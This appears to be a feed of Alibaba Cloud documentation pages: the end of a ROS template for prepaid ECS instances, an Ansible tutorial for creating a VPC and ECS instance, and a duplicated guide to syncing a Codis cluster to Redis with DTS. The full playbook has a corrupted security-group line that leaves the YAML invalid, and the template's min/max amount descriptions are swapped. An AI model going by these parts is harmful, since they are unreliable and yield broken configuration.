              "False",
              "false"
            ],
            "Default": false
          },
          "MaxAmount": {
            "Type": "Number",
            "Description": "Max number of instances to create, should be smaller than 'MaxAmount' and smaller than 100.",
            "MinValue": 1,
            "MaxValue": 100
          },
          "RamRoleName": {
            "Type": "String",
            "Description": "Instance RAM role name. The name is provided and maintained by Resource Access Management (RAM) and can be queried using ListRoles. For more information, see RAM API CreateRole and ListRoles."
          },
          "MinAmount": {
            "Type": "Number",
            "Description": "Max number of instances to create, should be bigger than 'MinAmount' and smaller than 100.",
            "MinValue": 1,
            "MaxValue": 100,
            "Default": 1
          },
          "ImageId": {
            "Type": "String",
            "Description": "Image ID to create ecs instance."
          },
          "SystemDiskDiskName": {
            "Type": "String",
            "Description": "Name of created system disk."
          },
          "InstanceType": {
            "Type": "String",
            "Description": "Ecs instance supported instance type, make sure it should be correct."
          },
          "AllocatePublicIP": {
            "Type": "Boolean",
            "Description": "The public ip for ecs instance, if properties is true, will allocate public ip. If property InternetMaxBandwidthOut set to 0, it will not assign public ip.",
            "AllowedValues": [
              "True",
              "true",
              "False",
              "false"
            ],
            "Default": true
          },
          "Tags": {
            "Type": "CommaDelimitedList",
            "Description": "Tags to attach to instance. Max support 20 tags to add during create instance. Each tag with two properties Key and Value, and Key is required.",
            "MaxLength": 20
          },
          "HostName": {
            "Type": "String",
            "Description": "Host name of created ecs instance. at least 2 characters, and '.' '-' Is not the first and last characters as hostname, not continuous use. Windows platform can be up to 15 characters, allowing letters (without limiting case), numbers and '-', and does not support the number of points, not all is digital ('.').Other (Linux, etc.) platform up to 30 characters, allowing support number multiple points for the period between the points, each permit letters (without limiting case), numbers and '-' components."
          },
          "Password": {
            "Type": "String",
            "Description": "Password of created ecs instance. Must contain at least 3 types of special character, lower character, upper character, number."
          },
          "AutoRenewPeriod": {
            "Type": "Number",
            "Description": "The time period of auto renew. When the parameter InstanceChargeType is PrePaid, it will take effect.It could be 1, 2, 3, 6, 12. Default value is 1.",
            "AllowedValues": [
              1,
              2,
              3,
              6,
              12
            ],
            "Default": 1
          },
          "KeyPairName": {
            "Type": "String",
            "Description": "SSH key pair name."
          },
          "IoOptimized": {
            "Type": "Boolean",
            "Description": "The 'optimized' instance can provide better IO performance. Support true or false, Default is true. ",
            "AllowedValues": [
              "True",
              "true",
              "False",
              "false"
            ],
            "Default": true
          },
          "ZoneId": {
            "Type": "String",
            "Description": "current zone to create the instance."
          },
          "VSwitchId": {
            "Type": "String",
            "Description": "The vSwitch Id to create ecs instance."
          },
          "SecurityGroupId": {
            "Type": "String",
            "Description": "Security group to create ecs instance. For classic instance need the security group not belong to VPC, for VPC instance, please make sure the security group belong to specified VPC."
          },
          "Period": {
            "Type": "Number",
            "Description": "Prepaid time period. While choose by pay by month, it could be from 1 to 9. While choose pay by year, it could be from 1 to 3.",
            "MinValue": 1,
            "MaxValue": 9,
            "Default": 1
          },
          "InternetChargeType": {
            "Type": "String",
            "Description": "Instance internet access charge type.Support 'PayByBandwidth' and 'PayByTraffic' only. For AfterPay instance, default is 'PayByBandwidth'.",
            "AllowedValues": [
              "PayByBandwidth",
              "PayByTraffic"
            ],
            "Default": "PayByBandwidth"
          },
          "SystemDiskCategory": {
            "Type": "String",
            "Description": "Category of system disk. Default is cloud_efficiency. support cloud|cloud_efficiency|cloud_ssd|ephemeral_ssd",
            "AllowedValues": [
              "cloud",
              "cloud_efficiency",
              "cloud_ssd",
              "ephemeral_ssd"
            ],
            "Default": "cloud_efficiency"
          },
          "InstanceName": {
            "Type": "String",
            "Description": "Display name of the instance, [2, 128] English or Chinese characters, must start with a letter or Chinese in size, can contain numbers, '_' or '.', '-'"
          },
          "InternetMaxBandwidthOut": {
            "Type": "Number",
            "Description": "Set internet output bandwidth of instance. Unit is Mbps(Mega bit per second). Range is [0,200]. Default is 1.While the property is not 0, public ip will be assigned for instance.",
            "MinValue": 0,
            "MaxValue": 200,
            "Default": 1
          },
          "VpcId": {
            "Type": "String",
            "Description": "The VPC id to create ecs instance."
          },
          "InternetMaxBandwidthIn": {
            "Type": "Number",
            "Description": "Max internet out band width setting, unit in Mbps(Mega bit per second). The range is [1,200], default is 200 Mbps.",
            "MinValue": 1,
            "MaxValue": 200,
            "Default": 200
          },
          "PeriodUnit": {
            "Type": "String",
            "Description": "Unit of prepaid time period, it could be Week/Month. Default value is Month.",
            "AllowedValues": [
              "Week",
              "Month"
            ],
            "Default": "Month"
          }
        },
        "Resources": {
          "PrepayInstance": {
            "Type": "ALIYUN::ECS::PrepayInstance",
            "Properties": {
              "PeriodType": {
                "Ref": "PeriodType"
              },
              "DedicatedHostId": {
                "Ref": "DedicatedHostId"
              },
              "PrivateIpAddress": {
                "Ref": "PrivateIpAddress"
              },
              "Description": {
                "Ref": "Description"
              },
              "DiskMappings": {
                "Fn::Split": [
                  ",",
                  {
                    "Ref": "DiskMappings"
                  },
                  {
                    "Ref": "DiskMappings"
                  }
                ]
              },
              "SystemDiskSize": {
                "Ref": "SystemDiskSize"
              },
              "UserData": {
                "Ref": "UserData"
              },
              "SystemDiskDescription": {
                "Ref": "SystemDiskDescription"
              },
              "InstanceChargeType": {
                "Ref": "InstanceChargeType"
              },
              "AutoRenew": {
                "Ref": "AutoRenew"
              },
              "MaxAmount": {
                "Ref": "MaxAmount"
              },
              "RamRoleName": {
                "Ref": "RamRoleName"
              },
              "MinAmount": {
                "Ref": "MinAmount"
              },
              "ImageId": {
                "Ref": "ImageId"
              },
              "SystemDiskDiskName": {
                "Ref": "SystemDiskDiskName"
              },
              "InstanceType": {
                "Ref": "InstanceType"
              },
              "AllocatePublicIP": {
                "Ref": "AllocatePublicIP"
              },
              "Tags": {
                "Fn::Split": [
                  ",",
                  {
                    "Ref": "Tags"
                  },
                  {
                    "Ref": "Tags"
                  }
                ]
              },
              "HostName": {
                "Ref": "HostName"
              },
              "Password": {
                "Ref": "Password"
              },
              "AutoRenewPeriod": {
                "Ref": "AutoRenewPeriod"
              },
              "KeyPairName": {
                "Ref": "KeyPairName"
              },
              "IoOptimized": {
                "Ref": "IoOptimized"
              },
              "ZoneId": {
                "Ref": "ZoneId"
              },
              "VSwitchId": {
                "Ref": "VSwitchId"
              },
              "SecurityGroupId": {
                "Ref": "SecurityGroupId"
              },
              "Period": {
                "Ref": "Period"
              },
              "InternetChargeType": {
                "Ref": "InternetChargeType"
              },
              "SystemDiskCategory": {
                "Ref": "SystemDiskCategory"
              },
              "InstanceName": {
                "Ref": "InstanceName"
              },
              "InternetMaxBandwidthOut": {
                "Ref": "InternetMaxBandwidthOut"
              },
              "VpcId": {
                "Ref": "VpcId"
              },
              "InternetMaxBandwidthIn": {
                "Ref": "InternetMaxBandwidthIn"
              },
              "PeriodUnit": {
                "Ref": "PeriodUnit"
              }
            }
          }
        },
        "Outputs": {
          "PublicIps": {
            "Description": "Public IP address list of created ecs instance.",
            "Value": {
              "Fn::GetAtt": [
                "PrepayInstance",
                "PublicIps"
              ]
            }
          },
          "RelatedOrderIds": {
            "Description": "The related order id list of created ecs instances",
            "Value": {
              "Fn::GetAtt": [
                "PrepayInstance",
                "RelatedOrderIds"
              ]
            }
          },
          "PrivateIps": {
            "Description": "Private IP address list of created ecs instance. Only for VPC instance.",
            "Value": {
              "Fn::GetAtt": [
                "PrepayInstance",
                "PrivateIps"
              ]
            }
          },
          "HostNames": {
            "Description": "Host names of created instance.",
            "Value": {
              "Fn::GetAtt": [
                "PrepayInstance",
                "HostNames"
              ]
            }
          },
          "InnerIps": {
            "Description": "Inner IP address list of the specified instance. Only for classical instance.",
            "Value": {
              "Fn::GetAtt": [
                "PrepayInstance",
                "InnerIps"
              ]
            }
          },
          "ZoneIds": {
            "Description": "Zone id of created instance.",
            "Value": {
              "Fn::GetAtt": [
                "PrepayInstance",
                "ZoneIds"
              ]
            }
          },
          "OrderId": {
            "Description": "The order id list of created instance.",
            "Value": {
              "Fn::GetAtt": [
                "PrepayInstance",
                "OrderId"
              ]
            }
          },
          "InstanceIds": {
            "Description": "The instance id list of created ecs instance",
            "Value": {
              "Fn::GetAtt": [
                "PrepayInstance",
                "InstanceIds"
              ]
            }
          }
        }
      }

      ]]> 使用Ansible在阿里云上创建一台ECS实例_快速开始_Ansible-阿里云 Fri, 02 May 2025 09:39:04 +0800 使用Ansible在阿里云上创建一台ECS实例

      更新时间:2019-08-06 21:24:36

      本页目录

      您可以通过Ansible playbooks自动完成阿里云资源的创建、配置和部署。本教程指引您如何使用Ansible在阿里云上创建一台ECS实例。

      教程概览

      本教程将创建和配置ECS实例的配置拆分成不同的Ansible playbooks,方便您了解如何通过YAML格式声明配置。您可以参考提供的完整示例,运行Playbook创建一台ECS实例。

      前提条件

      确保您已经安装并配置了阿里云Ansible模块。详情信息,请参见安装和配置Ansible

      创建专有网络

      在创建ECS实例时,您首先需要创建一个专有网络(VPC)。

      以下Ansible playbook展示了如何创建一个VPC。

      - name: Create a new AlibabaCloud VPC resource
          ali_vpc:
            alicloud_region: '{{ alicloud_region }}'
            cidr_block: '{{ vpc_cidr }}'
            vpc_name: '{{ vpc_name }}'
          when: not vpcs.vpcs
          register: vpc

      创建交换机

      在创建ECS实例时,您必须要指定ECS实例所属的交换机。

      以下Ansible playbook展示了如何在VPC中创建一个交换机。

      - name: Create a new Alibaba Cloud VSwitch resource
          ali_vswitch:
            alicloud_region: '{{ alicloud_region }}'
            alicloud_zone: '{{ alicloud_zone }}'
            state: 'present'
            cidr_block: '{{ vswitch_cidr }}'
            vswitch_name: '{{ vswitch_name }}'
            description: '{{ vswitch_description }}'
            vpc_id: '{{vpcs.vpcs.0.id}}'
          register: vswitch

      创建安全组

      以下Ansible playbook展示了如何创建一个安全组并将安全组和VPC关联。

      - name: Create a security group
          ali_security_group:
            alicloud_region: '{{ alicloud_region }}'
            state: 'present'
            name: '{{ group_name }}'
            description: '{{ group_description }}'
            vpc_id: '{{vpcs.vpcs.0.id}}'
            rules: '{{ group_inboundRules }}'
            rules_egress: '{{ group_outboundRules }}'
          register: group

      创建ECS实例

      以下Ansible playbook展示了如何创建一台ECS实例。

      - name: Create an ECS instance
          ali_instance:
            alicloud_region: '{{ alicloud_region }}'
            alicloud_zone: '{{ alicloud_zone }}'
            image_id: '{{ image }}'
            instance_type: '{{ type }}'
            instance_name: '{{ instance_name }}'
            description: '{{ description }}'
            host_name: '{{ host_name }}'
            key_name: '{{ key_name }}'
            vswitch_id: '{{vswitch.vswitch.id}}'
            security_groups: '{{group.group.id}}'
            count: '{{count}}'
            allocate_public_ip: '{{ allocate_public_ip }}'
            internet_charge_type: '{{ internet_charge_type }}'
            max_bandwidth_in: '{{ max_bandwidth_in }}'
            max_bandwidth_out: '{{ max_bandwidth_out }}'
            tags: '{{tags}}'
          register: ecs
        - name: output information of the vm
          debug:
            msg: "The created vm is {{ ecs }}."

      运行Playbook创建一台ECS实例

      完成以下操作,通过Playbook创建一台ECS实例:

      1. 创建一个名称为alicloud_create_ecs.yml的文件,然后通过VI 编辑器打开。
        vi alicloud_create_ecs.yml
      2. 在编辑模式下,将以下完整的Playbook示例粘贴到alicloud_create_ecs.yml文件中。

        说明 请您根据实际需要,参考以下示例更改ECS的配置信息。

        ---
        
        - name: Create a new VPC 
          hosts: localhost
          connection: local
          vars: 
            vpc_cidr: "172.16.0.0/12"
            vpc_name: "VPC_From_Ansible"
            vpc_description: "Create a new VPC resource via Ansible example alicloud-ecs-vpc."
            alicloud_region: cn-hangzhou
            alicloud_zone: cn-hangzhou-e
            vswitch_cidr: "172.16.1.0/24"
            vswitch_name: "VSwitch_From_Ansible"
            vswitch_description: "Create a new VSwitch resource via Ansible example alicloud-ecs-vpc."
            group_name: "Security_Group_From_Ansible"
            group_description: "Create a new security group resource via Ansible example alicloud-ecs-vpc."
            group_inboundRules:
              - ip_protocol: tcp
                port_range: 22/22
                source_cidr_ip: 0.0.0.0/0
        t_cidr_ip: 47.89.23.33/32
                priority: 2
            image: centos_6_8_64_40G_base_20170222.vhd
            type: ecs.n4.small
            instance_name: newtests2
            description: travis-ansible-instance2
            host_name: myhost
            count: 3
            allocate_public_ip: True
            internet_charge_type: PayByBandwidth
            max_bandwidth_in: 200
            max_bandwidth_out: 10
            key_name: ECS_KEY
            tags:
              role: frontend
          tasks: 
          - name: Get the existing vpc
            ali_vpc_facts:
              region: '{{alicloud_region}}'
              vpc_name: '{{vpc_name}}'
            register: vpcs
          - name: Create a new alicloud VPC resource
            ali_vpc:
              alicloud_region: '{{ alicloud_region }}'
              cidr_block: '{{ vpc_cidr }}'
              vpc_name: '{{ vpc_name }}'
            when: not vpcs.vpcs
            register: vpc
          # - name: output information of the vpc
          #   debug:
          #     msg: "The created vpc is {{ vpc }}."
          - name: Create a new alicloud VSwitch resource
            ali_vswitch:
              alicloud_region: '{{ alicloud_region }}'
              alicloud_zone: '{{ alicloud_zone }}'
              state: 'present'
              cidr_block: '{{ vswitch_cidr }}'
              vswitch_name: '{{ vswitch_name }}'
              description: '{{ vswitch_description }}'
              vpc_id: '{{vpcs.vpcs.0.id}}'
            register: vswitch
          # - name: output information of the vpc
          #   debug:
          #     msg: "The created vpc is {{ vpc }}."
          # - name: output information of the vSwitch
          #   debug:
          #     msg: "The created vpc is {{ vswitch }}."
          # - name: Get the existing vpc
          #   ali_vpc_facts:
          #     region: '{{alicloud_region}}'
          #     vpc_name: '{{vpc_name}}'
          #   register: vpcs
        
          - name: Creating security group
            ali_security_group:
              alicloud_region: '{{ alicloud_region }}'
              state: 'present'
              name: '{{ group_name }}'
              description: '{{ group_description }}'
              vpc_id: '{{vpcs.vpcs.0.id}}'
              rules: '{{ group_inboundRules }}'
              rules_egress: '{{ group_outboundRules }}'
            register: group
        
          - name: Creating an ECS instance
            ali_instance:
              alicloud_region: '{{ alicloud_region }}'
              alicloud_zone: '{{ alicloud_zone }}'
              image_id: '{{ image }}'
              instance_type: '{{ type }}'
              instance_name: '{{ instance_name }}'
              description: '{{ description }}'
              host_name: '{{ host_name }}'
              key_name: '{{key_name}}'
              vswitch_id: '{{vswitch.vswitch.id}}'
              security_groups: '{{group.group.id}}'
              count: '{{count}}'
              allocate_public_ip: '{{ allocate_public_ip }}'
              internet_charge_type: '{{ internet_charge_type }}'
              max_bandwidth_in: '{{ max_bandwidth_in }}'
              max_bandwidth_out: '{{ max_bandwidth_out }}'
              tags: '{{tags}}'
            register: ecs
          - name: output information of the vm
            debug:
              msg: "The created vm is {{ ecs }}."
      3. 保存后,退出编辑模式。
      4. 运行Ansible playbook创建ECS实例。
        ansible-playbook alicloud_create_ecs.yml

      ]]> 从ECS上的Codis集群同步至Redis实例_云下到云上_数据迁移_用户指南_云数据库 Redis-阿里云 Fri, 02 May 2025 09:39:04 +0800 从ECS上的Codis集群同步至Redis实例

      更新时间:2020-05-20 11:28:04

      本页目录

      阿里云数据库Redis版是兼容开源Redis协议标准、提供内存加硬盘混合存储的数据库服务,基于高可靠双机热备架构及可平滑扩展的集群架构,可充分满足高吞吐、低延迟及弹性变配的业务需求。通过数据传输服务DTS(Data Transmission Service),您可以将Codis集群同步至阿里云Redis实例。

      前提条件

      • 阿里云Redis实例的存储空间需大于源Codis数据库已使用的存储空间。
      • 源Codis集群的每个Master节点必须能够执行psync命令。

      同步原理介绍

      DTS通过同步Codis集群中的每个Codis-Group来实现集群的整体同步,您需要为每个Codis-Group创建一个对应的数据同步作业。

      Codis同步原理

      Codis集群环境介绍

      在本案例中,Codis集群具备两个Codis-Group,每个Codis-Group采用一主一备的架构,详情请参见下图。

      Codis案例介绍

      注意事项

      • DTS在执行全量数据初始化时将占用源库和目标库一定的资源,可能会导致数据库服务器负载上升。如果数据库业务量较大或服务器规格较低,可能会加重数据库压力,甚至导致数据库服务不可用。建议您在执行数据同步前谨慎评估,在业务低峰期执行数据同步。
      • 为保障同步链路稳定性,建议将源集群的配置文件redis.confrepl-backlog-size参数的值适当调大。
      • 为保障同步质量,DTS会在源集群中插入一个key:DTS_REDIS_TIMESTAMP_HEARTBEAT,用于记录更新时间点。
      • 请勿在源集群中执行FLUSHDBFLUSHALL命令,否则将导致源和目标的数据不一致。
      • 如果目标库的数据逐出策略(maxmemory-policy)配置为noeviction以外的值,可能导致目标库的数据与源库不一致。关于数据逐出策略详情,请参见Redis数据逐出策略介绍
      • 目标阿里云Redis实例支持的版本为2.8、4.0或5.0版本,如需跨版本同步(仅支持从低版本同步到高版本)请提前确认兼容性。例如创建按量付费的Redis实例来测试,测试完成后可将该实例释放或转为包年包月。

      支持的同步拓扑

      • 一对一单向同步
      • 一对多单向同步
      • 级联单向同步

      关于各类同步拓扑的介绍及注意事项,请参见数据同步拓扑介绍

      支持的同步命令

      • APPEND
      • BITOP、BLPOP、BRPOP、BRPOPLPUSH
      • DECR、DECRBY、DEL
      • EVAL、EVALSHA、EXEC、EXPIRE、EXPIREAT
      • GEOADD、GETSET
      • HDEL、HINCRBY、HINCRBYFLOAT、HMSET、HSET、HSETNX
      • INCR、INCRBY、INCRBYFLOAT
      • LINSERT、LPOP、LPUSH、LPUSHX、LREM、LSET、LTRIM
      • MOVE、MSET、MSETNX、MULTI
      • PERSIST、PEXPIRE、PEXPIREAT、PFADD、PFMERGE、PSETEX、PUBLISH
      • RENAME、RENAMENX、RESTORE、RPOP、RPOPLPUSH、RPUSH、RPUSHX
      • SADD、SDIFFSTORE、SELECT、SET、SETBIT、SETEX、SETNX、SETRANGE、SINTERSTORE、SMOVE、SPOP、SREM、SUNIONSTORE
      • ZADD、ZINCRBY、ZINTERSTORE、ZREM、ZREMRANGEBYLEX、ZUNIONSTORE、ZREMRANGEBYRANK、ZREMRANGEBYSCORE

      说明

      • 对于通过EVAL或者EVALSHA调用Lua脚本,在增量数据同步时,由于目标端在执行脚本时不会明确返回执行结果,DTS无法确保该类型脚本能够执行成功。
      • 对于List,由于DTS在调用sync或psync进行重传时,不会对目标端已有的数据进行清空,可能导致出现重复数据。

      操作步骤

      1. 购买数据同步作业,详情请参见购买流程

        说明 购买时选择源实例为Redis、目标实例为Redis,并选择同步拓扑为单向同步

      2. 登录数据传输控制台
      3. 在左侧导航栏,单击数据同步
      4. 同步作业列表页面顶部,选择同步的目标实例所属地域。

        选择地域

      5. 定位至已购买的数据同步实例,单击配置同步链路
      6. 配置数据同步的源实例及目标实例信息。

        配置源和目标实例信息
        类别 配置 说明
        同步作业名称 DTS会自动生成一个同步作业名称,建议配置具有业务意义的名称(无唯一性要求),便于后续识别。
        源实例信息 实例类型 选择ECS上的自建数据库
        实例地区 购买数据同步实例时选择的源实例地域,不可变更。
        ECS实例ID 选择Codis-Group中Master节点所属的ECS实例ID。

        说明 DTS通过同步Codis集群中的每个Codis-Group来实现整体的数据同步,此处先填入第一个Codis-Group中Master节点所属的ECS实例ID;稍后配置第二个数据同步作业时,此处填入第二个Codis-Group中Master节点所属的ECS实例ID;以此类推,直至为所有Codis-Group配置同步作业。

        数据库类型 固定为Redis
        实例模式 选择为单机版

        说明 由于Codis集群架构的特殊性,无法直接同步Codis集群,DTS通过同步Codis集群中的每个Codis-Group来实现整体的数据同步,所以此处需选择为单机版

        端口 填入该Codis-Group中Master节点的服务端口。
        数据库密码 填该Master节点的数据库密码。

        说明 非必填项,如果没有设置密码可以不填。

        目标实例信息 实例类型 选择Redis实例
        实例地区 购买数据同步实例时选择的目标实例地域,不可变更。
        实例ID 选择目标阿里云Redis实例ID。
        数据库密码 填入Redis实例的数据库密码。

        说明 数据库密码格式为<user>:<password>。例如,Redis实例自定义的用户名为admin,密码为Rp829dlwa,则此处填入的数据库密码为admin:Rp829dlwa。

      7. 单击页面右下角的授权白名单并进入下一步

        说明 此步骤会将DTS服务器的IP地址,自动添加到源ECS实例的内网入方向规则和阿里云Redis实例的白名单中,用于保障DTS服务器能够正常连接源和目标实例。

      8. 配置目标已存在表的处理模式和同步对象。

        配置 说明
        目标已存在表的处理模式 DTS通过依次同步Codis集群中的每个Codis-Group来实现整体的数据同步。为第1个Codis-Group配置数据同步时,如果Redis实例暂无数据,请选择预检查并报错拦截。为第2到N个Codis-Group配置数据同步时,必须选择为忽略报错并继续执行,否则将无法正常同步数据。

        说明

        • 预检查并报错拦截:检查目标库是否为空。如果待同步的目标库为空,则通过该检查项目;如果不为空,则在预检查阶段提示错误,数据同步作业不会被启动。
        • 忽略报错并继续执行:忽略预检查阶段中检测到目标库不为空的报错,继续执行数据同步。如果在同步过程中遇到目标库中的key与源库中的key相同,会将源库的数据覆盖写入目标库中。

        同步对象
        • 源库对象框中单击待同步的数据库,然后单击图标将其移动到已选择对象框。
        • 同步对象的选择粒度为库,暂不支持Key粒度的选择。

      9. 上述配置完成后,单击页面右下角的下一步
      10. 配置同步初始化的选项。

        Redis同步初始化

        说明 当前固定为包含全量数据+增量数据,即DTS会将源Codis中的存量数据同步至目标Redis数据库中,并同步增量数据。

      11. 上述配置完成后,单击页面右下角的预检查并启动

        说明

        • 在数据同步作业正式启动之前,会先进行预检查。只有预检查通过后,才能成功启动数据同步作业。
        • 如果预检查失败,单击具体检查项后的提示图标,查看失败详情。根据提示修复后,重新进行预检查。

      12. 预检查对话框中显示预检查通过后,关闭预检查对话框,同步作业将正式开始。
      13. 等待同步作业的链路初始化完成,直至处于同步中状态。

        同步中状态

        说明 您可以在 数据同步页面,查看数据同步作业的状态。

      14. 重复第1步到第13步的操作,为剩余的Codis-Group创建数据同步作业。

      执行结果

      本案例的Codis集群具备两个Codis-Group,所以创建两个数据同步作业。如下图所示,这两个数据同步作业完成同步初始化后,已经都处于同步中状态。

      完成Codis集群同步配置

      本案例同步的数据库为DB0和DB1,通过DMS登录Redis实例后与源Codis集群进行对比,Key总数源Codis集群一致。

      图 1. 阿里云Redis实例
      图 2. 源Codis集群

      ]]> 从ECS上的Codis集群同步至Redis实例_使用DTS同步数据_数据同步_用户指南_云数据库 Redis-阿里云 Fri, 02 May 2025 09:39:04 +0800 从ECS上的Codis集群同步至Redis实例

      更新时间:2020-05-26 15:35:00

      本页目录

      阿里云数据库Redis版是兼容开源Redis协议标准、提供内存加硬盘混合存储的数据库服务,基于高可靠双机热备架构及可平滑扩展的集群架构,可充分满足高吞吐、低延迟及弹性变配的业务需求。通过数据传输服务DTS(Data Transmission Service),您可以将Codis集群同步至阿里云Redis实例。

      前提条件

      • 阿里云Redis实例的存储空间需大于源Codis数据库已使用的存储空间。
      • 源Codis集群的每个Master节点必须能够执行psync命令。

      同步原理介绍

      DTS通过同步Codis集群中的每个Codis-Group来实现集群的整体同步,您需要为每个Codis-Group创建一个对应的数据同步作业。

      Codis同步原理

      Codis集群环境介绍

      在本案例中,Codis集群具备两个Codis-Group,每个Codis-Group采用一主一备的架构,详情请参见下图。

      Codis案例介绍

      注意事项

      • DTS在执行全量数据初始化时将占用源库和目标库一定的资源,可能会导致数据库服务器负载上升。如果数据库业务量较大或服务器规格较低,可能会加重数据库压力,甚至导致数据库服务不可用。建议您在执行数据同步前谨慎评估,在业务低峰期执行数据同步。
      • 如果在源数据库的配置文件redis.conf中配置了bind参数,请将该参数的值设置为ECS的内网IP地址以保障DTS可以正常连接源数据库。
      • 为保障同步链路稳定性,建议将源集群的配置文件redis.confrepl-backlog-size参数的值适当调大。
      • 为保障同步质量,DTS会在源集群中插入一个key:DTS_REDIS_TIMESTAMP_HEARTBEAT,用于记录更新时间点。
      • 请勿在源集群中执行FLUSHDBFLUSHALL命令,否则将导致源和目标的数据不一致。
      • 如果目标库的数据逐出策略(maxmemory-policy)配置为noeviction以外的值,可能导致目标库的数据与源库不一致。关于数据逐出策略详情,请参见Redis数据逐出策略介绍
      • 目标阿里云Redis实例支持的版本为2.8、4.0或5.0版本,如需跨版本同步(仅支持从低版本同步到高版本)请提前确认兼容性。例如创建按量付费的Redis实例来测试,测试完成后可将该实例释放或转为包年包月。

      支持的同步拓扑

      • 一对一单向同步
      • 一对多单向同步
      • 级联单向同步

      关于各类同步拓扑的介绍及注意事项,请参见数据同步拓扑介绍

      支持的同步命令

      • APPEND
      • BITOP、BLPOP、BRPOP、BRPOPLPUSH
      • DECR、DECRBY、DEL
      • EVAL、EVALSHA、EXEC、EXPIRE、EXPIREAT
      • GEOADD、GETSET
      • HDEL、HINCRBY、HINCRBYFLOAT、HMSET、HSET、HSETNX
      • INCR、INCRBY、INCRBYFLOAT
      • LINSERT、LPOP、LPUSH、LPUSHX、LREM、LSET、LTRIM
      • MOVE、MSET、MSETNX、MULTI
      • PERSIST、PEXPIRE、PEXPIREAT、PFADD、PFMERGE、PSETEX、PUBLISH
      • RENAME、RENAMENX、RESTORE、RPOP、RPOPLPUSH、RPUSH、RPUSHX
      • SADD、SDIFFSTORE、SELECT、SET、SETBIT、SETEX、SETNX、SETRANGE、SINTERSTORE、SMOVE、SPOP、SREM、SUNIONSTORE
      • ZADD、ZINCRBY、ZINTERSTORE、ZREM、ZREMRANGEBYLEX、ZUNIONSTORE、ZREMRANGEBYRANK、ZREMRANGEBYSCORE

      说明

      • 对于通过EVAL或者EVALSHA调用Lua脚本,在增量数据同步时,由于目标端在执行脚本时不会明确返回执行结果,DTS无法确保该类型脚本能够执行成功。
      • 对于List,由于DTS在调用sync或psync进行重传时,不会对目标端已有的数据进行清空,可能导致出现重复数据。

      操作步骤

      1. 购买数据同步作业,详情请参见购买流程

        说明 购买时选择源实例为Redis、目标实例为Redis,并选择同步拓扑为单向同步

      2. 登录数据传输控制台
      3. 在左侧导航栏,单击数据同步
      4. 同步作业列表页面顶部,选择同步的目标实例所属地域。

        选择地域

      5. 定位至已购买的数据同步实例,单击配置同步链路
      6. 配置数据同步的源实例及目标实例信息。

        配置源和目标实例信息
        类别 配置 说明
        同步作业名称 DTS会自动生成一个同步作业名称,建议配置具有业务意义的名称(无唯一性要求),便于后续识别。
        源实例信息 实例类型 选择ECS上的自建数据库
        实例地区 购买数据同步实例时选择的源实例地域,不可变更。
        ECS实例ID 选择Codis-Group中Master节点所属的ECS实例ID。

        说明 DTS通过同步Codis集群中的每个Codis-Group来实现整体的数据同步,此处先填入第一个Codis-Group中Master节点所属的ECS实例ID;稍后配置第二个数据同步作业时,此处填入第二个Codis-Group中Master节点所属的ECS实例ID;以此类推,直至为所有Codis-Group配置同步作业。

        数据库类型 固定为Redis
        实例模式 选择为单机版

        说明 由于Codis集群架构的特殊性,无法直接同步Codis集群,DTS通过同步Codis集群中的每个Codis-Group来实现整体的数据同步,所以此处需选择为单机版

        端口 填入该Codis-Group中Master节点的服务端口。
        数据库密码 填该Master节点的数据库密码。

        说明 非必填项,如果没有设置密码可以不填。

        目标实例信息 实例类型 选择Redis实例
        实例地区 购买数据同步实例时选择的目标实例地域,不可变更。
        实例ID 选择目标阿里云Redis实例ID。
        数据库密码 填入Redis实例的数据库密码。

        说明 数据库密码格式为<user>:<password>。例如,Redis实例自定义的用户名为admin,密码为Rp829dlwa,则此处填入的数据库密码为admin:Rp829dlwa。

      7. 单击页面右下角的授权白名单并进入下一步

        说明 此步骤会将DTS服务器的IP地址,自动添加到源ECS实例的内网入方向规则和阿里云Redis实例的白名单中,用于保障DTS服务器能够正常连接源和目标实例。

      8. 配置目标已存在表的处理模式和同步对象。

        配置 说明
        目标已存在表的处理模式 DTS通过依次同步Codis集群中的每个Codis-Group来实现整体的数据同步。为第1个Codis-Group配置数据同步时,如果Redis实例暂无数据,请选择预检查并报错拦截。为第2到N个Codis-Group配置数据同步时,必须选择为忽略报错并继续执行,否则将无法正常同步数据。

        说明

        • 预检查并报错拦截:检查目标库是否为空。如果待同步的目标库为空,则通过该检查项目;如果不为空,则在预检查阶段提示错误,数据同步作业不会被启动。
        • 忽略报错并继续执行:忽略预检查阶段中检测到目标库不为空的报错,继续执行数据同步。如果在同步过程中遇到目标库中的key与源库中的key相同,会将源库的数据覆盖写入目标库中。

        同步对象
        • 源库对象框中单击待同步的数据库,然后单击图标将其移动到已选择对象框。
        • 同步对象的选择粒度为库,暂不支持Key粒度的选择。

      9. 上述配置完成后,单击页面右下角的下一步
      10. 配置同步初始化的选项。

        Redis同步初始化

        说明 当前固定为包含全量数据+增量数据,即DTS会将源Codis中的存量数据同步至目标Redis数据库中,并同步增量数据。

      11. 上述配置完成后,单击页面右下角的预检查并启动

        说明

        • 在数据同步作业正式启动之前,会先进行预检查。只有预检查通过后,才能成功启动数据同步作业。
        • 如果预检查失败,单击具体检查项后的提示图标,查看失败详情。根据提示修复后,重新进行预检查。

      12. 预检查对话框中显示预检查通过后,关闭预检查对话框,同步作业将正式开始。
      13. 等待同步作业的链路初始化完成,直至处于同步中状态。

        同步中状态

        说明 您可以在 数据同步页面,查看数据同步作业的状态。

      14. 重复第1步到第13步的操作,为剩余的Codis-Group创建数据同步作业。

      执行结果

      本案例的Codis集群具备两个Codis-Group,所以创建两个数据同步作业。如下图所示,这两个数据同步作业完成同步初始化后,已经都处于同步中状态。

      完成Codis集群同步配置

      本案例同步的数据库为DB0和DB1,通过DMS登录Redis实例后与源Codis集群进行对比,Key总数源Codis集群一致。

      图 1. 阿里云Redis实例
      图 2. 源Codis集群

      ]]> 从ECS上的自建Redis同步至Redis实例_使用DTS同步数据_数据同步_用户指南_云数据库 Redis-阿里云 Fri, 02 May 2025 09:39:04 +0800 从ECS上的自建Redis同步至Redis实例

      更新时间:2020-05-26 15:32:51

      本页目录

      数据传输服务DTS(Data Transmission Service)支持Redis数据库的单向同步,适用于异地多活、数据异地容灾等多种应用场景。本文以ECS上的自建Redis同步至Redis实例为例,介绍数据同步作业的配置流程。

      说明 完成数据同步作业的配置后,请勿变更源数据库或目标数据库的架构类型(例如将主从架构变更为集群架构),否则会导致数据同步失败。

      前提条件

      • 源Redis数据库的版本为2.8、3.0、3.2、4.0或5.0版本。

